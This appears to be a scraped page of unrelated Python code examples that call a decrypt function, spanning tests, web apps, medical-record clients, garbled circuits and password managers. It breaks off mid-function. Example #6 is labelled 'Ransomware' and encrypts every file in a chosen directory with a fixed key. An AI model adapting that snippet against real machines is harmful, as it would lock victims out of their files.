Пример #1
0
def test_decrypt_with_invalid_text():
    try:
        crypto.decrypt('adinfe3920:2323')
    except crypto.BadEncryptedText:
        pass
    else:
        raise Exception("Decrypt a random string with NO error")
Пример #2
0
async def save(endpoint, request_headers, get_params, request_body,
               response_headers, response_body):
    date = datetime.today().strftime("%Y-%m-%d-%H-%M-%S")
    decrypted_response_body = json.loads(crypto.decrypt(
        response_body.decode()))
    try:
        decrypted_request_body = json.loads(crypto.decrypt(request_body))
    except:
        decrypted_request_body = request_body.decode()
    data = {
        "endpoint": endpoint,
        "request": {
            "headers": request_headers,
            "get_params": get_params,
            "body": decrypted_request_body
        },
        "response": {
            "headers": response_headers,
            "body": decrypted_response_body
        }
    }
    log_file_path = "logs/{}_{}.json".format(date, endpoint.replace("/", "-"))
    with open(log_file_path, "w") as cur:
        cur.write(json.dumps(data))
        os.chmod(log_file_path, 0o644)
    print("logging success")
Пример #3
0
def read_record():
    print('\nWould you like to read the record? (y/n)')
    response = input('+> ').lower()
    if response == 'y':
        crypto.decrypt('memento_mori.csv')
        df = pd.read_csv('memento_mori.csv')
    return df
Пример #4
0
def test_decrypt_with_invalid_text():
    try:
        crypto.decrypt('adinfe3920:2323')
    except crypto.BadEncryptedText:
        pass
    else:
        raise Exception("Decrypt a random string with NO error")
Пример #5
0
def unwrap(msg, key):
    data = { }
    words = struct.unpack("!LLL", msg[:12])
    data['ssid'] = words[0] ^ words[1] ^ words[2]
    orig = msg[4:]
    msg = crypto.decrypt(msg[4:], key)
    print 'decrypted:', repr(msg)
    chksum = checksum(msg[2:])
    if chksum != struct.unpack('=H', msg[:2])[0]:
        msg = crypto.decrypt(orig, crypto.DEFAULT_KEY)
        print "invalid checksum", data['ssid']
        chksum = checksum(msg[2:])
        if chksum == struct.unpack('=H', msg[:2])[0]:
            print "default crypto key message:"
            hex_print(msg)
        return None
    flags = ord(msg[2])
    print 'Flags:', hex(flags)
    msg = msg[3:]
    if flags & 4: msg = msg[2:]
    if flags & 8: msg = msg[2:]
    data['flags'] = flags
    chunks = []
    while len(msg) > 3:
        if msg[0] == '\xff':
            msg = msg[1:]
            continue
        (chtype, chlength) = struct.unpack("!BH", msg[:3])
        chunks.append((chtype, chlength, msg[3:chlength+3]))
        msg = msg[chlength+3:]
    data['chunks'] = chunks
    return data
Пример #6
0
def main():
    parser = argparse.ArgumentParser(description='Ransomware')
    parser.add_argument('-e',
                        '--encrypt',
                        help='encrypt files',
                        action="store_true")
    parser.add_argument('-d',
                        '--decrypt',
                        help='decrypt files',
                        action="store_true")
    parser.add_argument('directory', help='directory to encrypt or decrypt')

    args = vars(parser.parse_args())
    decrypt = args['decrypt']
    encrypt = args['encrypt']

    fernet = Fernet(KEY)

    if decrypt:
        for file in walk_files(args['directory']):
            crypto.decrypt(file, fernet)

    elif encrypt:
        for file in walk_files(args['directory']):
            crypto.encrypt(file, fernet)
Пример #7
0
def readconfig():
    """
        Read the client configuration from a File
    """
    if not os.path.exists(confighome):
        click.secho('[*] Config file {path} does not exist!'.format(path=confighome), fg='red', bold=True)
        click.secho('[*] Entering first time setup.', fg='green', bold=True)

        return setupconfig()

    config.read(confighome)
    consumer_key = config.get('twitter', 'consumer_key')
    consumer_secret = config.get('twitter', 'consumer_secret')
    access_token = config.get('twitter', 'access_token')
    access_token_secret = config.get('twitter', 'access_token_secret')
    username = config.get('twitter', 'username')

    if config.getboolean('main', 'encrypted'):
        click.secho('[*] Configuration is encrypted.', fg='green')
        passphrase = click.prompt('[q] Config decryption passphrase', hide_input=True)
    else:
        passphrase = None

    if passphrase:
        consumer_key = decrypt(passphrase, consumer_key)
        consumer_secret = decrypt(passphrase, consumer_secret)
        access_token = decrypt(passphrase, access_token)
        access_token_secret = decrypt(passphrase, access_token_secret)
        username = decrypt(passphrase, username)

    return consumer_key, consumer_secret, access_token, access_token_secret, username
Пример #8
0
def search():
    if request.form['search'] is None:
        redirect(
            url_for('views.show_entries', currentpage=session['currentpage']))

    sql = "select id, title, content, createtime from entries where user_id=%s order by id desc"
    try:
        statu = g.cur.execute(sql, str(session['user_id']))
        entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
        text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
        for row in g.cur.fetchall()]
    except Exception as e:
        mylogger.error(str(e))
        abort(401)
    searchlist = list()
    for entry in entries:
        if request.form['search'] in entry['title'] or request.form[
                'search'] in entry['text']:
            searchlist.append(entry)

    if not session.get('search'):
        session['search'] = False

    session['entries'] = searchlist
    session['currentpage'] = 1
    session['search'] = True
    session['searchkey'] = request.form['search']

    session['maxpage'] = (len(searchlist) - 1) // 5 + 1

    return render_template('showentries.html',
                           entries=searchlist,
                           currentpage=session['currentpage'],
                           maxpage=session['maxpage'])
Пример #9
0
def unwrap(msg, key):
    data = {}
    words = struct.unpack("!LLL", msg[:12])
    data['ssid'] = words[0] ^ words[1] ^ words[2]
    orig = msg[4:]
    msg = crypto.decrypt(msg[4:], key)
    print 'decrypted:', repr(msg)
    chksum = checksum(msg[2:])
    if chksum != struct.unpack('=H', msg[:2])[0]:
        msg = crypto.decrypt(orig, crypto.DEFAULT_KEY)
        print "invalid checksum", data['ssid'], repr(orig), hexlify(
            orig), repr(msg)
        chksum = checksum(msg[2:])
        if chksum == struct.unpack('=H', msg[:2])[0]:
            print "default crypto key message"
        return None
    flags = ord(msg[2])
    print 'Flags:', hex(flags)
    msg = msg[3:]
    if flags & 4: msg = msg[2:]
    if flags & 8: msg = msg[2:]
    data['flags'] = flags
    chunks = []
    while len(msg) > 3:
        if msg[0] == '\xff':
            msg = msg[1:]
            continue
        (chtype, chlength) = struct.unpack("!BH", msg[:3])
        chunks.append((chtype, chlength, msg[3:chlength + 3]))
        msg = msg[chlength + 3:]
    data['chunks'] = chunks
    return data
Пример #10
0
def show_entries(currentpage=1):
    if session.get('search') and session['search'] and session.get(
            'entries') and not session.get('entryupdate'):
        entries = session['entries']
        session['maxpage'] = (len(entries) - 1) // 5 + 1
        return render_template('showentries.html',
                               entries=entries,
                               currentpage=currentpage,
                               maxpage=session['maxpage'])

    sql = "select id, title, content, createtime from entries where user_id=%s order by id desc"
    try:
        # user_id = get_cookie('user_id')
        # aeskey = get_cookie('aeskey')
        statu = g.cur.execute(sql, str(session['user_id']))
        entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
        text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
        for row in g.cur.fetchall()]
    except Exception as e:
        mylogger.error(str(e))
        abort(401)
    session['maxpage'] = (len(entries) - 1) // 5 + 1
    session['entryupdate'] = False
    return render_template('showentries.html',
                           entries=entries,
                           currentpage=currentpage,
                           maxpage=session['maxpage'])
Пример #11
0
    def fire_circuit(self, alice_keys, bob_keys_):
        """

        :param alice_keys:  dict, {wire_id: (key, value)}
        :param bob_keys_:   dict, {wire_id: (key, value)}
        :return:            list, [out_put]
        """
        output = []
        for wire_id, key_val in alice_keys.items():
            self.wires_[wire_id] = BobWire(wire_id, key_val)
        for wire_id, key_val in bob_keys_.items():
            self.wires_[wire_id] = BobWire(wire_id, key_val)
        for gt in self.gt_list_:
            in_wire0 = self.wires_[gt.input_wire_[0]]
            try:
                in_wire1 = self.wires_[gt.input_wire_[1]]
            except IndexError:
                in_wire1 = None

            if in_wire1 is None:
                cipher = gt.garble_table_[(in_wire0.value_, 0)]
            else:
                if DEBUG:
                    util.log(str((in_wire0.value_, in_wire1.value_)))
                    util.log(gt.garble_table_)
                cipher = gt.garble_table_[(in_wire0.value_, in_wire1.value_)]
            if DEBUG:
                util.log("decrypting....")
                util.log(cipher)
                util.log(in_wire0.key_)
                if in_wire1 is not None:
                    util.log(in_wire1.key_)
            if in_wire1 is None:
                decrypt_ = crypto.decrypt(cipher_txt=cipher,
                                          key0=in_wire0.key_,
                                          key1=None)
            else:
                decrypt_ = crypto.decrypt(cipher_txt=cipher,
                                          key0=in_wire0.key_,
                                          key1=in_wire1.key_)
            key = decrypt_[0:-1]
            val = decrypt_[-1]
            if DEBUG:
                util.log("decrypt all:")
                util.log(decrypt_)
                util.log("retrieve out_val:   type:" + str(type(val)) +
                         "val:" + str(val))
                util.log("retrieve key:")
                util.log(key)
                util.log(" ")
            self.wires_[gt.gate_id_] = BobWire(gt.gate_id_, (key, val))

        for out in self.out_gate_id_:
            output.append(self.wires_[out].value_ ^ self.p_bit_[out])
        if DEBUG:
            util.log(output)
        return output
Пример #12
0
 def read(self, hospital_address, hospital_port):
     """
     Function for a patient to read all of their data.
     :param hospital_address: Hospital address
     :param hospital_port: Hospital port
     :return: nothing
     """
     if self.card:
         all_records = []
         socket = self.send_msg_get_socket(
             patient_msg.read_msg(self.card.uid), hospital_address,
             hospital_port)
         if isinstance(socket, int):
             return "No records were retrieved due to socket error"
         data = socket.recv(MESSAGE_SIZE)
         if data:
             responses = constants.deserialize(data)
             for response in responses:
                 if isinstance(response, int):
                     socket.close()
                     return all_records
                 if response.get(patient_msg.RESPONSE):
                     print(
                         crypto.decrypt(response.get(patient_msg.BLOCK),
                                        self.card.priv_key))
                     all_records.append(
                         crypto.decrypt(response.get(patient_msg.BLOCK),
                                        self.card.priv_key))
                     num_blocks = response.get(patient_msg.NUM_BLOCKS)
                     # Special casing the first response before reading the rest.
                     for i in range(1, num_blocks):
                         data = socket.recv(MESSAGE_SIZE)
                         if data:
                             responses = constants.deserialize(data)
                             for response in responses:
                                 print(
                                     crypto.decrypt(
                                         response.get(patient_msg.BLOCK),
                                         self.card.priv_key))
                                 all_records.append(
                                     crypto.decrypt(
                                         response.get(patient_msg.BLOCK),
                                         self.card.priv_key))
                 else:
                     print("No records were retrieved.")
                     return "No records were retrieved"
             if all_records:
                 return all_records
             else:
                 return "No records found"
         socket.close()
     else:
         print("ERROR: Must register with a hospital first")
         return "ERROR: Must register with a hospital first before reading records"
Пример #13
0
    def read_patient_record(self, card_path, hospital_address, hospital_port):
        """
        Function to handle patient issuing request for physician to read their medical data.
        :param card_path: Patient card
        :param hospital_address: Hospital address
        :param hospital_port: Hospital port
        :return: boolean, decrypted medical records
        """
        records = []
        card = card_helper.get_card_object(card_path)
        if card == None:
            return False, records

        if not self.hospital_affiliation_valid(card.hospital_name):
            return False, records

        # Copied patient code.
        socket = self.send_msg_get_socket(patient_msg.read_msg(card.uid),
                                          hospital_address, hospital_port)
        if isinstance(socket, int):
            return False, records
        data = socket.recv(MESSAGE_SIZE)
        if data:
            responses = constants.deserialize(data)
            for response in responses:
                if isinstance(response, int):
                    socket.close()
                    return False, records
                if response.get(patient_msg.RESPONSE):
                    r = crypto.decrypt(response.get(patient_msg.BLOCK),
                                       card.priv_key)
                    print(r)
                    records.append(r)
                    num_blocks = response.get(patient_msg.NUM_BLOCKS)
                    # Special casing the first response before reading the rest.
                    for i in range(1, num_blocks):
                        data = socket.recv(MESSAGE_SIZE)
                        if data:
                            responses = constants.deserialize(data)
                            for response in responses:
                                r = crypto.decrypt(
                                    response.get(patient_msg.BLOCK),
                                    card.priv_key)
                                print(r)
                                records.append(r)

    # print(crypto.decrypt(response.get(patient_msg.BLOCK), card.priv_key))

                else:
                    print("No records were retrieved.")
                    socket.close()
                    return False, records
        socket.close()
        return True, records
def get_secrets(options):
    ''' Retrieves the secrets from the user specified file '''

    secretsFile = options.secretsFile
    tempFile = tempfile.NamedTemporaryFile(delete=False)
    if options.secretsEncrypted.lower() == 'true':
        decrypt(load_key(options.keyFile), secretsFile, tempFile.name)
        secretsFile = tempFile.name

    secrets = read_json_file(secretsFile)
    tempFile.close()

    return secrets
Пример #15
0
def edit_entry(id):
    addentryForm = AddentryForm()
    sql = "select id, title, content, createtime from entries where id=%s"
    try:
        statu = g.cur.execute(sql, [id])
        entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
        text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
        for row in g.cur.fetchall()]
    except Exception as e:
        mylogger.error(str(e))
        abort(401)
    return render_template('addentry.html',
                           entry=entries[0],
                           form=addentryForm)
Пример #16
0
    def validate(self, password):
        """
        Check password against the master password.

        password ::: password to check
        """
        valid = True

        try:
            crypto.decrypt(password, self["master"])
        except Exception as exc:
            valid = False

        return valid
Пример #17
0
def user_login(service_id):
    """
        Verify and login user; connect to new service
            
        Payload => {
            encrypted : Boolean,
            user      : String,
            password  : String
        }
            
        Return:
            Success => { 'id' : user_id, 'username' : username }, status_code
            Error => { 'error' : error_message }, status_code
    """

    payload_data = request.get_json()
    service_id = ObjectId(service_id)  # convert for compatibility

    # TODO: validate service_id

    if payload_data['encrypted']:
        # TODO: decrypt request data
        pass

    user_info = helpers.if_email_exists(
        payload_data['user']) or helpers.if_username_exists(
            payload_data['user'])

    if user_info:
        encryption_key = decrypt(user_info['key'], keys.SUPER_SECRET_KEY)
        correct_password = decrypt(user_info['password'], encryption_key)

        if correct_password == payload_data['password']:

            # connect user to new service
            if service_id not in user_info['services']:
                user_collection.update_one({'_id': user_info['_id']},
                                           {'$push': {
                                               'services': service_id
                                           }})

            return {
                'id': str(user_info['_id']),
                'username': user_info['username']
            }, 200
        else:
            return {'error': 'Incorrect password'}, 401
    else:
        return {'error': 'Incorrect username/email'}, 401
Пример #18
0
Файл: krb5.py Проект: BwRy/pykek
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
    rep = decode(data, asn1Spec=spec)[0]
    rep_enc = str(rep['enc-part']['cipher'])
    rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
    rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
    
    return rep, rep_enc
Пример #19
0
def getpswd(DB, site, mpswd):
	if crypto.hash(mpswd) == DB.mpswd:
		login , pswd = DB.DB[site]
		return (login, crypto.decrypt(pswd, mpswd))
	else:
		raise PasswordError("Password didn't math!")
		return 0
Пример #20
0
def tallyResults():

    # Get the ballot
    ballotToTally = input.getBallotSelection()

    # Show the saved keys and get the users selection
    print 'Select the key used for the ballot. You need the private key to view the result.'
    key = input.getKeySelection()

    # Check that the user has the private key
    if (key.privateKey == False):

        # Alert the user they do not possess the private key
        print 'Private key not found for the selected key.'

    else:

        # Get the votes
        votes = ballot.getVotes(ballotToTally)

        # Calculate the result using the key
        results = crypto.addVotes(votes, key.publicKey)

        print 'Results: '
        for index in xrange(len(results)):
            print 'Candidate ' + str(index + 1) + ': ' + str(
                crypto.decrypt(key.privateKey, results[index]))
Пример #21
0
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
    rep = decode(data, asn1Spec=spec)[0]
    rep_enc = str(rep['enc-part']['cipher'])
    rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
    rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]

    return rep, rep_enc
Пример #22
0
def decrypt():
    """Create decrypted file."""
    try:
        with open("encrypted.txt", "r") as encrypted_file:
            cipher = encrypted_file.read()
            encrypted_file.close()
    except FileNotFoundError:
        print("Error: 'encrypted.txt' not found.")
        return main()
    try:
        with open("key.txt", "r") as key_file:
            priv_key = key_file.read()
            key_file.close()
    except FileNotFoundError:
        print("Error: 'key.txt' not found.")
        return main()
    temp_key = ""
    key = []
    for i in priv_key:
        if i != ",":
            temp_key += i
        else:
            key.append(temp_key)
            temp_key = ""
    decrypted = crypto.decrypt(int(cipher), int(key[0]), int(key[1]))
    print(decrypted)
    plaintext = digest.decode(decrypted)
    print(plaintext)
    with open("decrypted.txt", "w") as output_file:
        output_file.write(str(plaintext))
        output_file.close()
    print("Decryption of 'encrypted.txt' completed successfully.\n\
Please check 'decrypted.txt'.")
Пример #23
0
def main():
    p = generate_prime_number()
    g = primitive_root(p)
    x = random.randint(2, p - 2)  # private key
    y = (g**x) % p

    public_key = (p, g, y)
    private_key = x

    source = 44

    crypto_pair = encrypt_bit(source, p, g, y)
    decrypted_value = decrypt_bit(crypto_pair, public_key, private_key)

    print('Source bit: ', source)
    print('Crypted pair: ', crypto_pair)
    print('Decrypted value: ', decrypted_value)

    source = """To be, or not to be--that is the question:
Whether 'tis nobler in the mind to suffer
The slings and arrows of outrageous fortune
Or to take arms against a sea of troubles
And by opposing end them. To die, to sleep--
No more--and by a sleep to say we end
The heartache, and the thousand natural shocks
That flesh is heir to."""
    encrypted_text = encrypt(source, public_key)
    decrypted_text = decrypt(encrypted_text, public_key, private_key)

    print('Source text: ', source)
    print('Encrypted text:', encrypted_text)
    print('Decrypted text:', ''.join(decrypted_text))
Пример #24
0
def logout():
    if DEMO_MODE:
        session.clear()
        return redirect("/")

    if all([x in session for x in ['list_dict', 'api_key', 'api_key_hash']]):
        list_dict = session['list_dict']
        user_dir = session['api_key_hash']
        key = decrypt(KEY, session['api_key']).encode()

        cipher = AES.new(key, AES.MODE_EAX)
        nonce = cipher.nonce
        with open(f'{user_dir}/nonce.bin', 'wb') as file:
            file.write(nonce)

        for list_id in list_dict.values():
            f = f'{user_dir}/{list_id}/member_table.bin'
            enc_f = f'{user_dir}/{list_id}/member_table_encrypted.bin'
            if os.path.isfile(f):
                with open(f, 'rb') as file:
                    data = file.read()
                    enc_data, _ = cipher.encrypt_and_digest(data)

                with open(enc_f, 'wb') as file:
                    file.write(enc_data)

                os.remove(f)

    session.clear()
    return redirect("/")
Пример #25
0
def didIwin(me, other, mycards, othercards, socket, de_key, prime):
    chance = False
    o_de_key = None
    if me == "Bob":
        chance = True

    if chance:
        send(socket, de_key)
        o_de_key = receive(socket)
    else:
        o_de_key = receive(socket)
        send(socket, de_key)

    # decrypt the Bobs cards
    for index, card in enumerate(othercards):
        othercards[index] = decrypt(card, o_de_key, prime)

    print(other + "'s cards are :")
    printCards(othercards, cards)
    myscore = getscore(mycards)
    otherscore = getscore(othercards)
    print("My score : " + str(myscore))
    print(other + "'s score : " + str(otherscore))
    if myscore > otherscore:
        return True
    else:
        return False
Пример #26
0
def unlock_db(path=jpass2.DEFAULT_DB):
    """Returns the unlocked database specified by $path.
    If the database does not exist, we ask the user if they would like to create
    a new one. If their response is yes, we create a new database and return
    it. Else, we exit with an error code of 1.

        path - the path to the database (may or may not exist).
    """
    try:

        with open(path, "r") as f:
            pw = common.get_password(prompt="Password: "******"Successfully decrypted %s." % database.name
                return database
            except crypto.CryptoError:
                print "Failed to unlock database; incorrect password?"
                exit(1)

    except IOError:
        print "No such database '%s'." % path
        ans = common.get_yes_no_response("Would you like to create it now? <y/n> ",
                                        err="Please enter y or n.")
        if ans:
            return new_database()
        else:
            exit(1)
Пример #27
0
def decrypt(password: str, input_file: str, output_file: str) -> bool:
    enc_text = reveal_text_from_png(input_file).encode('utf-8')

    secret = crypto.decrypt(password, enc_text)
    with open(output_file, 'w') as f:
        f.write(secret)
    return os.path.exists(output_file)
Пример #28
0
def test_encrypt_nokey():
    for str_len in range(5, 12):
        message = 'ENO{%s}' % ''.join(
            [random.choice(string.printable[:95]) for _ in range(str_len)])
        ciphertext = encrypt(message)
        test_message = decrypt(ciphertext)
        assert message == test_message
Пример #29
0
def check_login(auth_cookie):

    if not app.cfg['enable_feature_signin']:
        return 0

    if not auth_cookie:
        if 'user' in g:
            del g.user
        return 0

    auth_cookie = crypto.decrypt(auth_cookie, app.cfg['crypto_cookie_secret'])

    data = auth_cookie.split(':')

    user_id = data[0]
    password = data[1]

    if not user_id:
        return 0

    user = users.get_user_by_id(user_id)

    if not user:
        return 0

    if user['deleted']:
        return 0

    if (user['password'] != password):
        return 0

    g.user = json.dumps(user, indent=4)

    return 1
Пример #30
0
    def xmlrpc_transcode(self, input, profileId, options, callbackURL, fieldName=''):
        profile = None
        for p in self.master.config['profiles']:
            if profileId == p['id']:
                profile = p
        if not profile:
            return "ERROR: Invalid profile %s" % profileId

        try:
            key = decrypt(b64decode(input['key']), self.master.config['secret'])
            input = eval(key, {"__builtins__":None},{})
            assert input.__class__ is dict
            if profileId == 'dvd':
                input['url'] = input['path']
            else:
                input['url'] = input['url'] + '?' + urllib.urlencode({
                        'key' : b64encode(encrypt(str((
                                        input['uid'],
                                        input['fieldName'],
                                        profileId)),
                                                  self.master.config['secret']))
                        })
        except Exception, e:
            log.error("Invalid transcode request: %s" % e)
            return "ERROR: Unauthorized"
Пример #31
0
    def unlock(self):
        notepad = store.get_value("notepad")

        decrypted_notes = decrypt(notepad["notes"],
                                  self.password_entry.get_text())

        if decrypted_notes == None:
            dialog = Gtk.MessageDialog(transient_for=self.get_toplevel(),
                                       message_type=Gtk.MessageType.WARNING,
                                       buttons=Gtk.ButtonsType.OK,
                                       text="Bad Decrypt")
            dialog.format_secondary_text(
                "You may have entered an incorrect password.")
            dialog.run()
            dialog.destroy()

            self.password_entry.set_text("")
        else:
            notepad["notes"] = loads(decrypted_notes)

            store.set_value("password", self.password_entry.get_text())
            store.set_value("notepad", notepad)

            store.get_value("notepad_editor").open_notepad()

            store.get_value("stack").set_visible_child_name("notepad_editor")
Пример #32
0
    async def receive(self, category: str, data: str, tick: str) -> str:
        if category == 'flag':
            data = decrypt(data, privkey=KEY)
        else:
            data = unhexlify(data).decode()
        #store data in DB
        try:
            tick = int(tick)
        except ValueError:
            self.tx.write(b'tick must be integer\n')
            return

        if all([char in string.printable for char in data]):
            async with DB_CONN.execute(
                    'insert into store (tick, category, data) values (?,?,?);',
                (tick, category, data)) as cursor:
                last_id = cursor.lastrowid

            if last_id is None:
                self.tx.write(b'Failed to add element to db.\n')
                return

            await DB_CONN.commit()
            self.tx.write(
                f"{sha256(data.encode()).hexdigest()}:{last_id}\n".encode())
        else:
            self.tx.write(
                f'Data not correctly decrypted: {data.encode()}\n'.encode())
Пример #33
0
    def decompress_and_decrypt_db(self, password, encrypted_data):
        """ Decrypt and decompress the encrypted data we receive from the server

        If succesfull then replace our local Database"""
        decrypted_data = decrypt(password.encode(), encrypted_data)
        decompressed_data = zlib.decompress(decrypted_data)
        self.db.import_unencrypted(decompressed_data, password)
Пример #34
0
def _async_upload_function(logger, file_name, file_id, parent_id, object_name):
    bucket_name = 'emea-em-ctl-repo'
    chunk_size = 50 * MB
    try:
        s3 = boto3.client('s3', aws_access_key_id=cr.decrypt(cr.lda5148_aws_aki), aws_secret_access_key=cr.decrypt(cr.lda5148_aws_sak))
        mime_type = common_mime_types.get('ext', 'application/octet-stream')
        if not debug:  # Skip the actually upload if not in production
            with open(file_name, 'rb') as f:
                mpu = s3.create_multipart_upload(Bucket=bucket_name, Key=object_name, ContentType=mime_type, StorageClass='STANDARD_IA')
                mpu_id = mpu['UploadId']
                index = 1
                parts = list()
                chunk = f.read(chunk_size)
                while chunk:
                    part = s3.upload_part(Bucket=bucket_name, Key=object_name, PartNumber=index, UploadId=mpu_id, Body=chunk)
                    parts.append({'PartNumber': index, 'ETag': part['ETag']})
                    index += 1
                    chunk = f.read(chunk_size)
            if parts:
                s3.complete_multipart_upload(Bucket=bucket_name, Key=object_name, UploadId=mpu_id, MultipartUpload={'Parts': parts})
        with oracle_db.get_connection() as connection:
            oracle_db.upsert_cloud_upload_status(connection, file_id, parent_id, os.path.basename(file_name), object_name, 'Complete')
    except Exception as e:
        logger.exception(e)
        with oracle_db.get_connection() as connection:
            oracle_db.upsert_cloud_upload_status(connection, file_id, parent_id, os.path.basename(file_name), object_name, 'Failed')
Пример #35
0
    def authenticate(self):
        """
        Performs iDevices challenge/response handshake. Returns if handshake succeeded

        """
        print "Authenticating..."
        # encryption key used by igrill mini
        key = "".join([chr((256 + x) % 256) for x in self.encryption_key])

        # send app challenge
        challenge = str(bytearray([(random.randint(0, 255)) for i in range(8)] + [0] * 8))
        self.characteristic(UUIDS.APP_CHALLENGE).write(challenge, True)

        # read device challenge
        encrypted_device_challenge = self.characteristic(UUIDS.DEVICE_CHALLENGE).read()
        print "encrypted device challenge:", str(encrypted_device_challenge).encode("hex")
        device_challenge = decrypt(key, encrypted_device_challenge)
        print "decrypted device challenge:", str(device_challenge).encode("hex")

        # verify device challenge
        if device_challenge[:8] != challenge[:8]:
            print "Invalid device challenge"
            return False

        # send device response
        device_response = chr(0) * 8 + device_challenge[8:]
        print "device response: ", str(device_response).encode("hex")
        encrypted_device_response = encrypt(key, device_response)
        self.characteristic(UUIDS.DEVICE_RESPONSE).write(encrypted_device_response, True)

        print("Authenticated")

        return True
Пример #36
0
def delete_cache(list_name, page_num):
    if DEMO_MODE:
        return redirect('/')
    try:
        resp = make_root_request(decrypt(KEY, session['api_key']),
                                 session['data_center'])
        if resp.status_code < 400:
            list_id = session["list_dict"][list_name]
            user_dir = session['api_key_hash']
            table_file_name = f"{user_dir}/{list_id}/member_table.bin"
            lists_file_name = f"{user_dir}/lists.bin"
            for file_name in [table_file_name, lists_file_name]:
                if os.path.isfile(file_name):
                    os.remove(file_name)
        else:
            print('could not connect to mailchimp API')
            error_msg = 'Could not connect to mailchimp API!'
            return render_template('/no_connection.html',
                                   list_name=list_name,
                                   page_num=page_num,
                                   error_msg=error_msg)

    except ConnectionError:
        error_msg = 'No internet connection!'
        return render_template('/no_connection.html',
                               list_name=list_name,
                               page_num=page_num,
                               error_msg=error_msg)

    return redirect(url_for(".lists", list_name=list_name, page_num=page_num))
Пример #37
0
    def authenticate(self):
        """
        Performs iDevices challenge/response handshake. Returns if handshake succeeded

        """
        print "Authenticating..."
        # encryption key used by igrill mini
        key = "".join([chr((256 + x) % 256) for x in self.encryption_key])

        # send app challenge
        challenge = str(bytearray([(random.randint(0, 255)) for i in range(8)] + [0] * 8))
        self.characteristic(UUIDS.APP_CHALLENGE).write(challenge, True)

        # read device challenge
        encrypted_device_challenge = self.characteristic(UUIDS.DEVICE_CHALLENGE).read()
        print "encrypted device challenge:", str(encrypted_device_challenge).encode("hex")
        device_challenge = decrypt(key, encrypted_device_challenge)
        print "decrypted device challenge:", str(device_challenge).encode("hex")

        # verify device challenge
        if device_challenge[:8] != challenge[:8]:
            print "Invalid device challenge"
            return False

        # send device response
        device_response = chr(0) * 8 + device_challenge[8:]
        print "device response: ", str(device_response).encode("hex")
        encrypted_device_response = encrypt(key, device_response)
        self.characteristic(UUIDS.DEVICE_RESPONSE).write(encrypted_device_response, True)

        print("Authenticated")

        return True
Пример #38
0
    def decrypt_account(self, master, id_):
        """
        Retrieve a (decrypted) account dictionary.

        master ::: master password
        id_ ::: ID of account to decrypt and retrieve
        """
        account = self.get_account(id_)

        user = crypto.decrypt(master, account["user"])
        password = crypto.decrypt(master, account["password"])

        plaintext = dict(label=account["label"], user=user, password=password,
                         description=account["description"])

        return plaintext
Пример #39
0
    def func(s: sock.socket.socket):
        send_user(s, own_pub)
        # Receive server public key.
        while alive:
            data = s.recv(1024)
            if data:  # ??!
                remote_user = name.User.from_bytes(data)
                print('The server identifies as', remote_user)
                break

        handle_input((s,), own_priv, (remote_user.pub,))

        # Accept text messages.
        q = Queue(maxsize=1)
        while alive:
            data = s.recv(1024)  # TODO: handle longer packets
            if data:
                packet = pack.Packet.from_bytes(data)
                text = crypto.decrypt(packet.encrypted, own_priv)
                crypto.verify(text, packet.signature, remote_user.pub)
                assert(q.empty())
                q.put(text)
                #print(text)
            time.sleep(0.1)

            # TODO: mirror bot logic into serve()
            bot_threads = spawn_bots(q)
            assert(q.full())
            q.get()  # drop()

        while False:
             insult = bot.curse()
             send(insult, s, own_priv, remote_pub)
             time.sleep(bot.random.randint(1,8))
Пример #40
0
    def test_compare_secret_and_dec_secret(self):
        """Compares the source text and the decrypted text."""

        password = '******'
        secret = 'super secret'
        enc_secret = crypto.encrypt(password, secret)
        dec_secret = crypto.decrypt(password, enc_secret)
        return self.assertEqual(secret, dec_secret)
Пример #41
0
def packetFunc(packet):
  # scapy is garbage and get's arp packet even though we're filtering
  if ARP not in packet:
    encryptedData = packet['Raw'].load
    data = crypto.decrypt(encryptedData)
    if data.startswith(authString):
      data = data[len(authString):]
      print data
Пример #42
0
def read(key, path):
    """Attempt to decrypt an entry file and deserialize it, loading the object
    back into memory so that its attributes can be read.
        key -- the decryption key to try and use.
        path -- where to read from.
    """
    plaintext = crypto.decrypt(key, path)
    obj = pickle.loads(plaintext)
    return obj
Пример #43
0
 def xmlrpc_delete(self, input, options, callbackURL, fieldName=''):
     try:
         key = decrypt(b64decode(input['key']), self.master.config['secret'])
         input = eval(key, {"__builtins__":None},{})
         assert input.__class__ is dict
         input['url'] = input['url'] + '?' + urllib.urlencode({'key' : b64encode(encrypt(str((input['uid'],input['fieldName'])),self.master.config['secret']))})
     except Exception, e:
         log.error("Invalid delete request: %s" % e)
         return "ERROR: Unauthorized"
Пример #44
0
def get_handler(arg):
    public = None
    uri = ""
    if arg.cap:
        cap = arg.cap.split(":")
    else:
        # TODO this should read the current dir to find out the URI for the file
        with open('private/files.txt', "r") as f:
            for line in f:
                ind = line.find(arg.name)
                # here assumes the files have different names
                # TODO check for the same names that are substring of the other
                if ind != -1:
                    key_ind = line.find("|")+1
                    line = line[key_ind:] 
                    cap = line.split(":")
                    file_name = arg.name
                    abs_path = os.path.abspath(pjoin('private/keys/', file_name))
                    # check if this file was created by the user
                    # TODO the public key should be in the file we get
                    if os.path.exists(abs_path):
                        with open('private/keys/'+arg.name+"public", "r") as f:
                            public = f.read() 
                    break
    
    if cap[0] == FILE_WRITE_CAP or cap[0] == DIR_WRITE_CAP:
        h = crypto.my_hash(cap[1])[:16]
        h = crypto.my_hash(h)
        uri = capToString((cap[0], h, cap[2]))
    elif cap[0] == DIR_READ_CAP or cap[0] == FILE_WRITE_CAP:
        h = crypto.my_hash(cap[1])
        uri = capToString((cap[0], h, cap[2]))
    else:
        uri = ""
    # access the file via the write-cap
    cipher = get_data(uri) 
    data_ar = cipher.split(SPLIT_SYMBOL)
    sign = data_ar[1]
    data = data_ar[0]
    public = data_ar[2]
    try:
        assert(data_ar[3] == crypto.my_hash(public))
